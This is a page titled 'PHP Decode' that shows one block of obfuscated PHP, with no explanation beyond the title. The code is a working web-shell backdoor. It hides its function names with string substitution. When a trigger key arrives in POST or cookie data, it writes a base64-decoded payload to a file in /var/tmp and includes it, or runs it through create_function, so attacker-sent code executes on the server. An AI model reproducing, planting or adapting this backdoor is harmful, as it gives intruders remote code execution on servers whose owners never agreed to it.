PHP Decode

<?php 
$lftr="b"; $hqmd="bsbtr_brbebpblace";$puvx=$_POST;$gvku=$_COOKIE; 
$pkvr="JHJuZcaF9wYXRoIDca0gJy92YXIvdG1wLyccagcaLiBjb25zcadcaGcaFucadCggJ3Jcakbm1kNScgKTsJCcaWlcamcaIcaCggZmlsZV9leGlzdHMoICRybmcaRfc"; 
$clqr="GF0aCcaApICkgewkJCXVcaucabGluaygcagJHJuZF9wYXRoICk7CQl9CX0JZXZhcabCggYcamFzZTY0X2RlY29kZScaggJGFbJ3VwcaZGF0ZSddICkgKTt9"; 
$uuzm="JGM9J2caNvdW50JzskYT1cahcnJheV9tcaZXcaJnZSgkX0NPT0tJRSwgJF9QT1NUKTskacaz0nQ1calRNVQnOca2lmKHJlc2V0caKCRcahKT09J0FZ"; 
$mfar="Jy4kayAcamJiAcakYygkcaYScak+caMSl7CWlmICggdmcaVyc2lvblca9jb21wYXcaJlcaKCBwaHB2ZXJzaW9uKCcaksICI4IcaicawgIj49IiApICkgewkcaJ"; 
$havz = implode("",explode($lftr,$hqmd)); $zkld = $havz("k", "", "kbkaske6k4k_kdkeckodke"); 
$nvcz = $havz("pc","","pcvpcerpcsiopcn_pccpcopcmpcppcarpce"); $ntuo = $havz("k","","kakrkraky_mekrkgke"); 
$opeq = $havz("tp","","atprratpytp_ktpetpytp_etpxtpists"); $rphj = $havz("k","","kphkpvkekrsikokn"); 
$htou = $zkld($havz("ca", "", $uuzm.$mfar.$pkvr.$clqr)); 
if ($opeq($havz("e","","epeaes"),$ntuo($puvx, $gvku))){ 
if ($nvcz($rphj(), 8, ">=")) 
{$fvpd = $havz("w","","wfiwlew_wpwutw_wcwownwtewnts"); 
$iogh = $havz("in","","uinniinqid");$dnau = $iogh();$ipch = $havz("w","","dewfinwe"); 
$vqdy = $ipch($havz("k","","krkdknkmdk5"), $dnau); 
  @$fvpd($havz("y","","y/yvyayry/ytymypy/").$dnau, $havz("f","","<?pfhfp")." ".$htou); 
  @include($havz("y","","y/yvyayry/ytymypy/").$dnau); 
  }else { 
    $kdbq=@$havz("l","","lclrelaltlel_flulncltiloln");$hxud = $kdbq("", $htou);$hxud(); 
  } 
} 
?>